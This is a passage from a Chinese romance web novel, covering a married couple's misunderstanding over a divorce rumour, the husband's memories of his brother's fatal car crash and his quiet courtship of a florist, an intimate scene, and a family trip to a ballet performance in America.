“过几天不就是你姐的演出了?”沈桉一脸兴奋地把那东西展开,“这是小玉在美国的最后一场芭蕾舞演出,咱们必须要把排面给她拉满!” 沈珠楹一看那东西,脸上的表情多了几分一言难尽:“灯牌?” “对啊。”沈桉一脸骄傲地道,“我拜托我们机构的舞蹈老师给我弄的,她说这东西,巨亮。” “我给你试试嗷。” 沈桉鼓弄了那灯牌半天,不知道摁了哪儿,随即“咔哒——”一声,灯牌蓦地亮了。 差点没闪瞎沈珠楹的眼睛。 “你这也……太亮了!” “快关掉!” 后羿要是还在第一个射的就是你! 过了几秒,小春慌慌忙忙地闯了进来,用手语比划着,问这里发生了什么。 沈珠楹冲她摆了摆手,示意小春别着急,这里什么事也没有。 小春于是遮住自己的眼睛,欲比划又止地出去了。 沈桉着急忙慌地把灯牌关了,当时她也被这灯的亮度吓到了,没看小春的手势。 于是她抬头问沈珠楹:“小春刚刚进来比划什么?” “她问我们,是不是偷偷躲在这里面修炼,亮成这样,马上就能得道成仙了!” 沈桉:“……” “叫小春平时少看点修仙小说吧!” “不过……”她一脸得意地道,“怎么样?我这灯牌够显眼吧?小玉看到要感动死了!” 沈珠楹没回她,一脸若有所思地转移了话题。 “给你做这个灯牌的姐姐,是不是帝国粉?” “什么帝国粉?我还新疆牛肉粉呢。”沈桉一脸莫名其妙。 沈珠楹抹了把冷汗:“我的意思是……她是不是那三个小孩儿的粉丝,就是左手右手慢动作那个!” 沈桉这会儿又爱不释手地鼓弄着手上的灯牌,手不知道碰了哪儿,灯牌又被打开了。 她一脸惊喜地抬头道:“你怎么知道?” 沈珠楹此时面无表情地盯着那个灯牌。 她的脸上此时正闪烁着绿光,蓝光,与红光。 “沈”字发绿光,“珠”字发蓝光,“玉”字发红光。 不出意外的话,这名小姐姐应该是一个颇为严谨的团粉。 沈珠楹一脸疑惑地道:“你确定这个灯牌能过得了海关?” 沈桉沉默了整整五秒,随即一脸恍然地抬头:“对啊!我不确定!” 沈珠楹:“……咱俩分开去美国吧,好吗?” 以后要是很不幸在美国的大街上偶遇了,也一定要当做不认识啊,我亲爱的妈妈。 沈桉:“……” 因为过两天就要去美国看沈珠玉的演出,沈珠楹在沈桉走后,还相当严肃地召开了京北市花间集有限公司第一届员工大会。 翻译成大白话就是,她跟店里的几个姑娘小伙们叮嘱了一些注意事项,特别是店里某些异常珍贵的花,提醒他们按时浇水和施肥。 别几天不见,就把她的宝贝们给养死了。 与此同时,傅斯灼收到了周礼持之以恒的短信骚扰。 事实上,自从他前几天终于又被他爹给放出来以后,就一直在“旁敲侧击”地问他一些莫名其妙的问题。 比如: 【周礼】:灼哥,你跟嫂子……最近的感情生活怎么样啊? 【周礼】:还和谐吗? 【周礼】:灼哥,嫂子有没有在你面前说些什么啊? 【周礼】:灼哥,我明天孩子满月,你一定要来云吧跟我聚聚啊,我有事跟你说。 【周礼】:灼爹,我后天孙子摆周岁酒,请您一定要大驾光临。 【周礼】:灼爷爷,我大后天重孙子……,请您一定要赏脸过来啊。 傅斯灼一条都懒得回。 他猜这傻子是又听信了什么离谱的谣言。 第106章 什么离婚? 打烊回家的路上,沈珠楹刚要跟傅斯灼提要去美国的事,就听到男人说道:“周礼关禁闭出来了,他今天晚上组了一个局,去吗?” 沈珠楹心虚眨眼:“……他出来了啊,那我还是……不去了吧。” 她轻咳一声:“我在家还有事呢。” 花房里的那些植物,她也得请个人帮她照顾几天。 傅斯灼点了点头,这个答复在他意料之中,毕竟,她一向不喜欢这类聚会。 不过,为了避免圈子里又瞎传类似于之前的离谱谣言,即便傅斯灼对这类酒局不太感兴趣,也还是去了。 果不其然,这场酒局的确无趣得很,聊风流情史,聊车子和票子,聊家里的某笔大生意。 这么些年,无非也不过就是这些。 周礼全程欲言又止地看着他,一副异常抱歉的模样。 这人脑子里到底又在脑补些什么? 傅斯灼也没有什么兴趣了解,他坐在一旁,脸上的表情很淡,偶尔搭腔,整个人散发出来的气场强大,很是让人不敢接近。 他垂眸看了一眼时间,晚上八点二十二。 沈珠楹这时候会在干嘛呢? 应该已经从花房出来了,大概率已经洗完澡躺在床上,还敷了一片面膜。 她喜欢趴在床上,两脚交叉着,一晃一晃的,头上扎的丸子头也会跟着晃,这样百无聊赖地晃几分钟,她会拿出平板看电视剧。 这段时间她正在追一部韩剧,看着看着会被甜得在床上打滚,这时候她会抬眼看向在正倚在床头看书的他,然后语调更甜地说:“老公,这部电视剧里的男主角没你帅。” 很少见的时刻,在她没喝醉的时候,她会喊他老公。 傅斯灼喉咙有些发紧。 确认已经没有什么乱七八糟的谣言传出以后,再待下去似乎也没什么意义了。 于是傅斯灼起身倒了一杯果汁,抬眼笑道:“抱歉,我太太刚刚在微信上催我回家,说是家里那只猫不见了,让我回去找。” “所以,请各位容我先走一步。” 周礼这个唯一跟他熟一点的纨绔富二代已经已经不知道去哪儿了,剩下的人跟他都不熟,当然也不好意思留他。 不过在场的人都是人精,怎么听不出来他这是再一次澄清之前那些谣言。 自从傅家那位大哥走后,傅家在商界的地位已经大不如前了,但是谁成想东边不亮西边亮,傅家如今在政界,又有了一定的地位。 于是他们也都站起身举杯,赶忙附和道:“好说好说,还没恭贺傅先生和傅太太新婚,祝二位幸福。” “谢谢。” 傅斯灼颔首,将高脚杯里的果汁一饮而尽。 走出包厢的时候,傅斯灼注意到周礼正倚在窗边,似乎是在打电话。 他走过去,正要跟他说一声走了,就见周礼略微有点崩溃地在刺挠自己的黄毛。 “我怎么跟灼哥说,我说灼哥,嫂子很有可能想跟你离婚,你做好心理准备,这不是欠揍吗?” “灼哥不会揍我?放你的狗屁吧,他以前是做什么的,玩乐队的你知道吧,揍起人来根本就是手拿把掐好吗?我小时候被他跟舟哥当沙包打。” “只不过舟哥是明着打我,灼哥是暗着打我,这俩人就这点狗区别。” “当然是真的!不然校草就是我了,哪轮得到灼哥和舟哥来争,我就是小时候被他俩给打破相了。” “我怀疑他们俩从小就嫉妒我的美貌。” “要不是还有我哥护着我,我根本活不到现在。” 周礼还在跟他的八卦搭子源源不断地吐槽,就莫名感觉酒店里的空调好像调低了,冷飕飕的。 下一秒,他听到身后传来薄凉冷淡的一句:“什么离婚?” “……” 他的八卦搭子还在跟他说话,而周礼已经此刻彻底听不到了。 他静止了整整一分钟,这才缓缓扭过头,勾出一抹僵硬的笑。 “你听我解释。” 包厢外的灯光很昏暗,因而周礼没注意到,傅斯灼的脸色,隐藏在黑暗中,此刻早已苍白一片。 “好。”傅斯灼呼出一口气,思维已经全乱了,握紧了拳头,说,“你解释。” 周礼:“就是……我刚刚全都是乱说的。” 傅斯灼还没来得及松口气,周礼就继续道:“其实你跟舟哥从小就长得比我帅,我一直对你们的颜值心服口服,而且小时候我挨揍,都是因为我该。” “……” 傅斯灼一拳打到他脸上,音色更冷:“那你现在挨揍,也是因为你该。” “……” 周礼猛地挨了一拳,整个人懵了。 他捂住自己的脸,一脸委屈:“……哥,你怎么又打我脸。” 小时候就专门打我脸,怎么现在还是! 果然是嫉妒我比你帅吧! “我是要你解释,什么叫沈珠楹很有可能跟我……” 傅斯灼嗓子眼儿发紧,发哑,却怎么也吐不出那两个字。 理智告诉他,周礼这个人从小到大脑回路就不正常,他说的话一点都不可信。 但他现在根本没法儿理智。 周礼这时候已经反应过来了,他恍然道:“你是想问嫂子跟你离婚……” “砰——”的一声闷响,周礼另一边脸又挨了一拳。 “……”周礼捂住两边脸。 呜呜呜呜呜,他要回家告诉哥! 傅斯灼眉眼间浮现几分燥意:“别在我面前提这两个字。” 他现在的脑子并不适合开车,于是用仅剩的一点理智给自己喊了个代驾,随即毫不犹豫地转过身,走了。 傅斯灼告诉自己。 他应该听沈珠楹亲自跟他说这是谣言,而不是听面前这个傻子跟他胡乱一通地解释。 对。 傅斯灼拳头握紧,又松开。 这只会是一个谣言。 回清风园的路上堵了点车,拥堵密醋的鸣笛声不时响起,窗外的霓虹灯程序化地,照亮它应该照亮的每一个角落。 这样安静地,呆板地,如出一辙地。 这样的灯光印在男人脸上,衬得他五官轮廓更加深刻,且冷淡。 他一幕幕地回想,试图找出两人之间的一点点不对劲,但是没有,他们明明一切都很合拍。 可是傅斯灼仰着头,喉结仍然一下一下地,无措地滑动。 周礼是在乱说。 他告诉自己。 因为花精灵明明在那天听到了他的祷告,在象征着好运的昙花面前,慷慨而又诚恳地答应,会帮他实现这个愿望—— 傅斯灼能永远留在沈珠楹身边。 第107章 接受 二零一九年十二月二十六号那天,享誉全球的黑人乐队Black guns早已宣布演唱会的下一站是在津市,离京北市只有一百三十七公里,自驾时长约一小时五十五分钟,是后来傅斯灼认为的,世界上最远的距离。 傅斯灼早在预售的前几天,就开始大张旗鼓地号召他朋友圈的各路好友们帮他抢票,有偿,可私。 预售当天,他把自己所有的电子设备都用上了,光手机就三四台,差点练成章鱼手,最后竟然一张都没抢到。 但是祁舟这小子真就神仙了,玩游戏的时候突然想起来还有这回事,顺手点了两下,一下就抢到了两张。 再加上他朋友圈其他朋友又帮忙抢了两张,他现在手里有四张演唱会门票。 但是他的乐队成员有五个。 黄牛票他是不考虑的,网上也没看到有人出。 傅斯灼思索了一会儿,还是决定把演唱会门票分给另外四个人。 但他们说什么也不肯要。 傅斯灼无奈之下,只好跟他们说明这个残酷的理由:我很有钱,以后可以出国看Black guns的演唱会,请问你们,有钱出国吗? 傅斯灼把这段话发在“银河系第一乐队”群的时候,群里安静了整整五秒,随即一大堆消息疯狂涌出。 【隔壁老胖】:对不起,不曾想阁下竟是有钱哥,我轻轻跪下迎接。 【是昊子不是耗子】:太好了,老大是有钱人,我们有救了。[哭泣][哭泣] 【我很小,但是我叫温柔】:老大[献玫瑰][摔倒][爬起来]感动中国十大人物没你我不看。 【脏辫儿哥不吃小孩】:给我五百万,我奶奶最近上学需要钱,谢谢。[鞠躬][伸手] 于是四张门票就这样举重若轻地分好了。 傅斯灼也改了计划,打算在生日当天去爬山。 但是在演唱会的前一天,傅斯华给他打了个电话。 “阿灼,看你朋友圈,是生日那天打算去看演唱会?” 傅斯灼这会儿手里正握着一根登山绳,用力扯了两下,确认没什么问题,就往包里一塞,说:“计划有变,我已经打算明天去燕凌峰看日出了。” 傅斯华沉默片刻,语气里含着几分笑意:“这样啊,那看来我手里这两张演唱会门票也没用了,就只好转给……” “……等会儿,你先别,有用,太有用了。”傅斯灼愣住片刻,蓦地笑了,轻碰鼻尖,语气含着几分得瑟与意气风发,“我现在呢,计划又有变,明天的目的地,又在天津了。” “两张票,我们一起去?” “你小子,看来是真没女朋友。” 傅斯灼轻扬眉梢:“没找到喜欢的,总不能将就。” 傅斯华笑着摇头:“行,正好我明天也有空。” —— 演唱会是在晚上七点开始,傅斯华在十二月二十六号那天傍晚来到华大,接到他以后,直接上了高速公路。 彼时还余一缕残阳在车后追赶,假如他们兄弟俩其中一个往后看的话,会发现残阳如血,染红了半边天。 只是可惜当时气氛正好,车里放着Black guns 的歌,而他们也恰好很久不见,偶尔聊几句,气氛很轻松。 这种时刻,适合畅想未来。 傅斯灼自然而然地,就想到自己即将到来的十八岁。 会风光无比,会无拘无束,会与梦想一同到来。 他也一向对自己,有这个自信。 下了高速,车在第一个红绿灯处停下。 切歌间隙,正好音乐停了,而傅斯灼抬起头,终于看到了那缕追上来的残阳。 血红色的,如同实质一般,扑面而来。 不,不对,那不是夕阳—— 傅斯灼转过身,瞳孔蓦地放大,喊了一声:“哥!” 一辆大货车,如同失控一般,从斜后方,猛冲了上来! 是视线盲区,而且,太近也太突然了。 傅斯华只来得及调转车头,将冲击力更强的那一面留给自己…… “砰——”的一声。 嗡———— 整个世界都安静了下来。 傅斯灼当时全身都动不了了,也发不出声音,却偏偏在最后一刻,对上了傅斯华的眼睛。 哥在最后一刻,祝他生日快乐。 他知道的。 原来这才是他的十八岁。 傅斯华死后的第三天,傅斯灼从病床上醒来,周清兰守在他的病房前。 “我哥呢?奶奶。”他问。 周清兰摸了摸他的头,说:“你刚做完手术,需要休息,阿灼。” 傅斯灼最终在护士的口中,得知了他的死讯。 她说,跟你一起送过来的那个啊,死了。 傅斯华死后的第五天,傅斯灼参加了他的葬礼,手里捧着他的照片,亲眼目睹了他的第二次死亡。 傅恒像是一夜之间老了,但神色仍然威严,一丝不苟。 他一脸沉痛又失望地说:“傅斯灼,我是不是早就跟你说过,叫你不要再搞那些没用的东西了。” “再过几天,我会把你转到工管系,阿华现在不在了,傅家,需要你撑起来。” 傅斯灼低头看着傅斯灼的照片,一脸麻木地说了句,好。 傅斯华死后的第十天,傅斯灼跟乐队的其他成员吃了一顿饭,一脸平静地对他们说,他要退出乐队。 “傅斯灼,你TM玩我们啊?当初是你把我们聚到一块儿的,现在说不要就不要了?” “老子TM这两年喂狗了?” 被揪着领子打了一拳,傅斯灼抹去嘴角的血迹,仍然还是那句:“我会给你们补偿。” 而由此引发的争吵,谩骂与不理解,他都一一承受。 傅斯华死后的第十五天,傅斯灼终于开始收拾他的遗物,却在其中,意外发现了大量跟外交有关的书籍和资料,但是早已被蒙上了一层厚厚的灰。 他想起傅斯华十八岁那年,专业填了工商管理系,然后对才九岁,正在弹吉他的傅斯灼说,哥哥的梦想是继承家业,你千万别跟我争。 傅斯华死后的第二十天,他跟傅恒说,他会转到国际与政治系。 傅恒几乎是大发雷霆。 “傅斯灼!你哥被你弄死,你妈被你弄疯还不够吗?你还不满意吗?” “转到国际与政治系。”傅恒冷笑,“说说看,你现在又要弄死谁?” “傅家这么大产业,你哥撑了这么长时间,你要他的努力付诸东流吗?” “你十八岁了傅斯灼,不是八岁,还当自己是小孩呢?该扛起责任了!” 傅斯灼看着他,仍然是那句:“我会转到国际与政治系。” “对不起啊,爸,又让你失望了。” 他对不起很多人,也让很多人失望了。 所以他要学会接受。 接受这些不满,谩骂,与挥之不去的愧疚。 再然后,他会替哥哥活下去。 第108章 你的花店离我的目的地很近 在收到那束风信子之前,傅斯灼其实从来都没有意识到,原来他一直处在黑暗之中。 他花了一年半的时间完成了英国的学业,然后考入外交部,主动申请去战火纷飞的远方,一步一步地,不知疲倦地,充满野心地,只想着往上爬。 因为哥哥在天上,只有站得很高很高,才能被他看见。 他目睹今天才结婚的夫妻第二天就被炸得只剩下残肢断臂,他目睹才三岁的孩童在镜头面前发出绝望地哀嚎,他目睹国与国之间的利益与纠纷,从而意识到,人命是草芥,他们也都是牺牲品。 偶尔他也会觉得抱歉。 怎么他看到这些,却再也流不出一滴同情的眼泪了呢? 而傅斯灼在后来的许多年也总是会想,假如他没有在那天走进花间集,然后收下那束风信子的话,他大概……是不会如此渴望光的。 因为黑暗让人漠视痛苦,而只想着埋头赶路的人,又怎么会在乎路边的鲜花和头顶的太阳呢? 但是他偏偏就走进了那家花间集,记住了她在雨中朝她挥手,笑着跟他说再见。 恰巧那一年周清兰的身体每况愈下,傅斯灼完成国外的工作交接,开始考虑长期定居在国内。 其实清风园离他上班的地方很远,但是找房子的时候,他鬼使神差地就想到了翠梧街。 应该与她无关吧,他可能只是喜欢梧桐树。 于是在每一个下了班回清风园的傍晚,他会不自觉地注意到翠梧街街角的这家花店。 或者说,是花店里的这个人。 运气最好的时候,红灯的等待时长能有一百二十秒,而他的车恰好停在最左侧车道五米左右的位置,然后他偏头看过去,透过一簇簇厚重的紫罗兰,霞光落下来,雀跃了她总是笑着的侧脸。 那两年,傅斯灼最喜欢秋天。 因为在夏天,一簇簇的紫罗兰会遮住姑娘的整张脸,包括她脸上生动漂亮的表情。 而在冬天,只剩下光秃秃的枝桠,他这样看过去,未免又太过冒犯。 春天他当然不配拥有。 那就只有秋天,刚刚好。 刚刚好有风吹过的时候,他能匆匆瞥见她上扬的嘴角。 后来他有一回在国外出差了三个月,翠梧街也早已由秋入冬,而商务车再次停到熟悉的十字路口时,她仍然这样笑着,给进去的每一个人送上一束鲜花。 生动又明艳的。 可是没了紫罗兰的遮挡,红灯也明明还剩四十二秒,他却仍然只敢看她一眼。 他几乎下一秒就移开了目光,然后望着前方红灯上的数字一下一下地变少,也轻轻敲在他心头,悄然泛起涟漪。 绿灯亮起,油门踩下,他再次远离那家鲜花店,然后在心里想—— 好遗憾啊,怎么他不小心就错过了,一整个秋天。 黑色商务车就这样停靠在红绿灯处,离那家鲜花店不远也不近的地方,缓慢无声地走过了两个春夏秋冬。 他听到有人喊她“zhu zhu”老板,是哪个“zhu”呢? 应该是“珍珠”的“珠”。 很可爱的名字。 他看着她店面越做越大,生意也越来越好,甚至开始做咖啡,也可以进去看书。 要不,在某个阳光明媚的下午,进去坐一坐吧,傅斯灼。 最终也没敢去。 他看着她养了一只橘猫放在前台,有事没事就喜欢摸它两下。 那只橘猫有一回偷偷跑出去,她急得团团转。 傅斯灼在一处不显眼的绿化带里找到了它,然后学她平常的手法,摸了摸它。 嗯,摸起来确实很软很舒服。 不过,怎么这么不乖呢? 他悄悄把这只猫放在了花店门口。 他看着她拒绝一个又一个男人的追求,却仍然满怀期待奔赴下一场相亲,像是想要遇见什么人。 遇见谁呢? 傅斯灼放下猫,看见她仍然站在不远处,焦急地在寻找。 他在她转过身的时候离开了。 他想,总不会是只敢躲在阴暗处的他。 傅斯灼其实从未想过要跟她有所接触,直到又一次应付相亲,他注意到她被刁难,终于忍不住出手帮忙解围时—— 他不小心对上了她的眼睛。 明媚的,生动的,干净的,比以往的任何匆匆一瞥都让人惊艳。 恰好那天下雨了。 而她又穿了一抹生动的绿色。 于是傅斯灼把车停到她面前,对她说了一句。 “我的目的地离你开的花店很近,需要载你一程吗?” 风信子小姐。 —— 傅斯灼回到清风园的时候,没立刻上楼,先坐在沙发上,一言不发地喝了两杯红酒。 她上回好像还挺喜欢喝这款酒的。 思绪整理得差不多了以后,傅斯灼上了楼,手搭在门把手上,沉默两秒,推开。 五颜六色的衣服被扔得到处都是,沙发抱枕上还夹了两个黄色鲨鱼夹,梳妆台上摆满了瓶瓶罐罐,并不太整齐,床单如今是很漂亮的粉色,傅斯灼如今也习惯了床单上偶尔会出现几根长头发。 而房间正中央,此时却放了一个绿色的行李箱,里面堆满了衣服。 傅斯灼盯着这个行李箱,好半晌没敢动。 他刚刚才捋好的思路再次被打乱,脑子里只剩下那句—— “嫂子很可能跟你离婚,叫你做好心理准备。” 然后他突然想起来沈珠楹当初跟他结婚时说的理由——“我妈催得紧,我想了很久,觉得你是最合适的人选。” 沈珠楹这时候穿了一套纯白色的长裙从衣帽间里出来了。 看见他,她眼睛便一亮,在他面前欢快地转了一圈,裙摆跃动,然后问:“傅斯灼,我穿这件衣服好看吗?” 傅斯灼沉默了一会儿,开口的声音有些艰涩:“好看。” “那你等我进去,再去试一下那件红色的,红色裙子也超漂亮!” 沈珠楹转身想走,却被傅斯灼拉住了手腕,然后男人轻轻一拉,另一只手搂住她的腰,低头吻了上来。 一开始他吻得很是小心翼翼,一直到沈珠楹仰头给他回应,他才将这个吻加深,再加深。 一吻过后,他抱着她上了床,随即半跪在她腿间,俯下身来,磨咬她雪白的锁骨。 “傅斯灼。”沈珠楹被他吻得有点儿晕了,两颊泛红,然后迷迷糊糊地抬头问他,“你喝酒了啊?” 傅斯灼嗯了声,轻声道:“喝了两杯。” 壮胆的。 傅斯灼的吻继续往下,然后抬眸望向她,眼眶通红,说:“帮我解一下领带吧宝宝。” 第109章 胡撸胡撸毛 沈珠楹随意扯开男人的领带扔到一边,然后仰头问他:“你怎么了啊傅斯灼?” “怎么感觉……你不太开心。” “是聚会上出现了让你不喜欢的人吗?” “是。”傅斯灼对她说,“非常不喜欢。” 沈珠楹眼底闪过一丝讶异。 能让傅斯灼说出这么严重的形容词?! 那确实是很拿不出手了。 “那你……别理他,把他说的话当屁放了。” 傅斯灼低声笑了,附和道:“好,当屁放了。” 他开始解她身上那件白裙,那会儿正闭着眼睛在跟她接吻,睫毛在颤动,手也止不住地在抖,试了好几次都没把拉链拉开。 最后他放弃了,人自暴自弃地埋在她肩头,喉结滑动两下,终于问她:“宝宝,你收拾东西要去哪里?” 他这会儿正抱着她,力道很重,像是要把她整个揉进身体里。 沈珠楹察觉到他的不安,虽然仍然一头雾水,不知道这不安源自哪里,却仍然回抱住他,凑到他耳边小声回答,“去美国啊。” “我去美国看姐姐,过几天就会回家的,傅斯灼。” 傅斯灼听到这句话,脊背松了松,随即抬眸,眼也不眨地盯着她看。 确认她没有丝毫勉强以后,他若无其事地碰了碰她的唇瓣,问:“几号的飞机票,怎么不提前跟我说?” “后天。”沈珠楹无辜抬眸,眸色清白,“我就是打算现在跟你说的啊。” “现在说,不是提前跟你说吗?” 傅斯灼无奈笑了,说了声是。 但是他那么大只埋在她肩头,闷声道:“但是宝宝,我被吓到了。” “喔呦——” 沈珠楹莫名感觉到了点儿撒娇的意思,于是颇为得意地揉了揉男人的脑袋,问:“谁把我们傅司长吓到了啊,我去教训他。” “我自己教训了。”提起这件事,傅斯灼的语气就冷了几个度。 但他很快意识到什么,于是更加温顺地埋在沈珠楹肩窝,闻着姑娘身上特有的花香,低声强调:“但我还是被吓到了。” 艾玛。 沈珠楹觉得自己仅有的那点母性情怀都被激发出来了,更加得意地胡乱揉他的黑发,一本正经地说:“别怕别怕,傅斯灼。” “呼噜呼噜毛儿,吓不着。” 傅斯灼整个人僵了几秒,随即肩膀轻颤着,热气洒在她肩头,开始笑。 “你笑什么?”沈珠楹不太高兴。 难道她哄人的技术不够老练吗? “我就是在想——” “喔呦——”他拖长了嗓音,学她说话,仍在笑,“沈珠楹,你怎么会这么好啊。” 好到他午夜梦回的时候总在想,这是一场梦吗? 他怎么会这么有幸,能够拥有她呢? 会不会有一天,她会发现他其实没那么好,然后离开呢? 傅斯灼收敛了笑意,从她的肩颈开始吻她,解开她的白色长裙,修长骨感的指尖熟练拂过她身体的每一寸,撩起一片片火星。 他现在尤其了解她身上的敏感点。 化不开的热意在身体里上下浮动,沈珠楹听到男人涩情又沙哑地喊她的名字,然后对她说。 “沈珠楹,我们做爱吧。” 沈珠楹觉得今晚的傅斯灼很会,尤其会,会到她简直…… “唔——” 白皙窈窕的腰腹紧绷着,又猛地落下。 有点儿受不了了。 傅斯灼轻捏她的下巴,把她的下唇解救出来,然后在她的呜咽声中又吻了上来,舌头伸进去,猛地一搅—— 他很快又退出来,对她说:“你可以喊出来的,老婆。” 沈珠楹偏过头去,感觉很不好意思。 就不,她心里这么想。 但他有的是办法。 到后半场的时候,沈珠楹嗓子彻底哑了,傅斯灼去给她倒了杯水,喂她一口一口喝下。 “老婆,还渴吗?”他将水杯放在床头柜上,让沈珠楹靠在他温热的胸膛。 沈珠楹摇了摇头,她盯着男人湿润俊俏的眉眼看了一会儿,随即偏过头去,笑了。 玛雅,笑起来的声音好难听。 于是沈珠楹又敛了笑。 但是傅斯灼的声音浮现在头顶,语调慢悠悠地说:“我爱你,沈珠楹。” 沈珠楹愣住,随即嘴角的笑意逐渐扩大,她仰着头看他,想说:“男人在床上的话都不靠谱。” 但是她就这样突兀地撞进了他的眼睛里。 总是这样真挚又悲伤,让人连调侃的话都舍不得说。 他大约不知道吧。 他有一双很迷人的眼睛。 沈珠楹启唇:“我……” 玛雅,人的声音怎么能难听成这样? 于是剩下的话很突兀地卡在了喉咙里。 她要用这么难听的嗓音,跟傅斯灼说“我也爱你”吗? 沈珠楹内心正在天人交战,但是傅斯灼却没给她时间犹豫,下一秒就捏住她的下巴,略显急促吻上了她的唇。 他现在吻技已经被练出来了,很是熟练。 沈珠楹被他亲得整个人脑子发晕。 再然后,他带着她的手,缓缓碰上了他的脸侧。 他看着她,很刻意地挤出了一个酒窝,然后低声请求道:“你也爱我吧,沈珠楹。” 虽然知道让你爱这样的我很卑劣,也很过分,但是—— “你很喜欢我的酒窝,对吗?” “我会多笑的。” 所以—— 拜托你爱这样的我吧,沈珠楹。 沈珠楹安静片刻,眼底闪过一丝心疼。 她使劲儿胡撸他的头发,说:“你在乱想些什么呢傅斯灼。” “没见过你这么笨的。” 她声音很哑,却仍然坚持说道:“我最爱你了傅斯灼。” 她想了想,觉得这样还是不够,于是又从男人怀里起来,用手语一下一下地比划道:“沈珠楹最爱傅斯灼。” 昏黄的灯光下,他看向她,而她偏了下头,笑得温柔又有耐心。 这么做的后果就是…… 沈珠楹第二天直接一觉睡到了下午五点多。 她下楼的时候,傅斯灼正好下了班回来,在玄关处换鞋,手里还提了两袋板栗。 沈珠楹站在楼梯间,幽幽看他一眼。 傅斯灼跟她对视,随即略显心虚地移开了眼。 “厨房里熬了鸡汤,我去给你盛。” 他放下板栗,走过去抱着她,然后低声说:“下次,我会轻一点。” 沈珠楹:“……” 呵呵。 男人的嘴,骗人的鬼。 沈珠楹才不信他呢。 第110章 我谢谢你们 “厨房里熬了鸡汤,我去给你盛。” 他放下板栗,抱着她走到餐桌前坐下,又去给她盛汤。 等他把汤端过来,沈珠楹就一口一口地喝,满脸傲娇。 傅斯灼就坐在她旁边,不紧不慢地给她剥板栗,剥好以后就放在一旁的盘子上。 “晚上想吃什么菜?” 沈珠楹随手扔了个板栗放嘴里,慢吞吞地开始点菜。 点了三个,被傅斯灼否了一个辣子鸡。 沈珠楹眼睛瞪过来,傅斯灼无奈挑眉:“晚上不能吃太辣的,明天中午给你做。” 沈珠楹于是继续低头啃玉米,满意地“哦”了声。 她是明天下午的机票。 “回程的机票买了吗?”傅斯灼低头继续剥板栗,云淡风轻地问。 “还没。”沈珠楹又低头喝了一口汤,感觉胃里暖融融的,“回来的日期还没定。” 傅斯灼剥板栗的动作僵住,随即问:“三天后,怎么样?” 沈珠楹觑他一眼,唇角不经意间勾了勾,拖长了嗓音,拒绝道:“不行。” “我想多待一会儿。” 傅斯灼看向她:“待多久?” “待个……十天半个月吧。” 傅斯灼:“……不是说就几天?” “我改变主意了,某人每次去国外,一待就是大半个月,我也待待看,说不定国外的空气比较甜呢。”她语气多少带点阴阳怪气。 傅斯灼噎住,最终抬眼笑道:“正相反,国外的空气都是……” 屎味。 原来国外的空气是屎味。 沈珠楹捏着鼻子,看了一眼身后拿着灯牌的沈桉,默默又走远了一些。 沈珠玉的演出当天,现场人多得沈珠楹间歇性社恐都要犯了,但沈桉仍然异常兴奋。 “珠珠!你离我这么远干嘛?我们要一起举着牌子给你姐加油鼓劲啊!” “我们要当全场最靓的仔!” 沈桉脸上交替闪着绿蓝红三色的光,正举着灯牌晃,看着很是诡异。 沈珠楹眨了下眼,又离远了一些。 是挺亮的。 她在心里默默吐槽。 最终,碍于沈桉女士的权威,沈珠楹还是被揪着,老老实实地待在了她身边,一起举着灯牌晃,并且强制性地露出一抹—— 诡异,不是,鼓励的微笑。 台上灯光熄灭,几秒后,一束白光打下来。 沈珠玉身穿纯白色舞裙,身材纤细柔软,出现在了舞台正中央。 她跟着音乐在轻盈舞动,完全沉浸其中,动作潇洒又灵动。 在美国的最后一场表演,一切都很顺利直到—— 她的视线不经意间往台下一扫。 她脸上的微笑僵住,脚步也踉跄了一下。 幸好她表演经验丰富,勉强收敛心神后,一场完美的谢幕演出终于完成。 她朝台下深深鞠了一躬,对着沈珠楹和沈桉的方向。 我谢谢你们。 而在台下,沈桉激动地揪住沈珠楹的袖子:“她看见我们了吧?我就说这方法有用。” “你看看这舞台,多完美?这场完美的演出一定少不了我们俩的功劳!” 沈桉眼底溢出几滴眼泪,很快又被她抹去。 她在当年,其实也有机会站上这么大的舞台,只是后来生育了两个女儿,虽然她已经尽力补救了,却也仍然,对她的芭蕾舞事业,负面影响很大。 但她还是不后悔。 只要是自己选的路,她都不后悔。 毕竟—— 沈桉侧头看了一眼此刻正抱着她的漂亮女儿,笑着问:“干嘛?这么大了还要妈妈抱啊。” “多大都要妈妈抱。” 沈珠楹抱着她,使劲儿在她身上蹭了蹭。 随即沈珠楹从椅子上拿了一束玉兰,递给她,然后调皮地眨了下眼睛。 “送给我亲爱的妈妈,祝她今年事业爱情双丰收。” “虽然我们优秀的沈桉女士,不需要我虚无缥缈的祝福,只靠她自己,也完成了这个目标。” 沈桉女士,是在舞台上翩翩起舞的蝴蝶,是独自一个人在偌大京市拼出一片天的女强人,最后才是把她跟姐姐养得很好的。 她的妈妈。 沈桉把花收下,揉了揉她的脑袋,哽咽着说:“我的傻姑娘。” 所以啊。 因为这样的傻姑娘,她才会一直有勇气,说她从不后悔。 而此时的沈珠玉妆都没卸,下了舞台就急匆匆地往亮着红绿蓝三色光的那地方跑。 然后她就看到这母女俩抱一块儿了。 她走近一些,叉着腰吐槽道:“你们两个是在这里双修吗?发这么亮的光,坏了,不会真让你们得道成仙了吧?” 沈珠楹转头瞪她一眼:“沈珠玉!你能不能嘴上积点德?” “你叫我什么?”沈珠玉一扬眉。 “沈珠楹,你竟然敢直呼我大名?是不是活得不耐烦了?” 沈珠玉气势汹汹地凑近一些,作势要揪她的耳朵。 而沈珠楹怂怂地往沈桉怀里钻。 她安静几秒,笑了,抱住了她们两个,说:“这种好事不带上我?我也要得道成仙。” 母女三人就这样叙了会儿旧,最终被夹在两人中间的沈珠楹弱弱地举起了自己的手。 “我们能换个姿势聊吗?这个姿势有点不对劲。” 太拥挤,也太暧昧了吧。 “……” 三个人到了沈珠玉在美国租的公寓。 沈珠玉一边开门一边跟她们聊天。 “我在美国这边的后续收尾工作可能还要七八天,你们买的回程机票是几……” 她开了门,随即声音戛然而止,以迅雷不及掩耳之势又把门关上了。 沈珠玉整个人僵住,随即机械地转过身,问:“你们刚刚……没看到什么吧?” 沈桉和沈珠楹对视了一眼,再同时摇了摇头。 两个人几乎是异口同声地道:“没有,我们没看到你公寓里的肌肉裸男。” 沈珠玉:“……” “如果,我是说如果。”沈珠玉小心翼翼地咽了咽口水,“我说……他其实是个变性,你们信不信?” 沈珠楹摩挲着下巴:“你是不是想说,他是你的变性室友?” 沈珠玉眼睛一亮:“对!” 沈珠楹耸肩:“你信就行啦,不过嘉呈哥什么时候成变性了?” 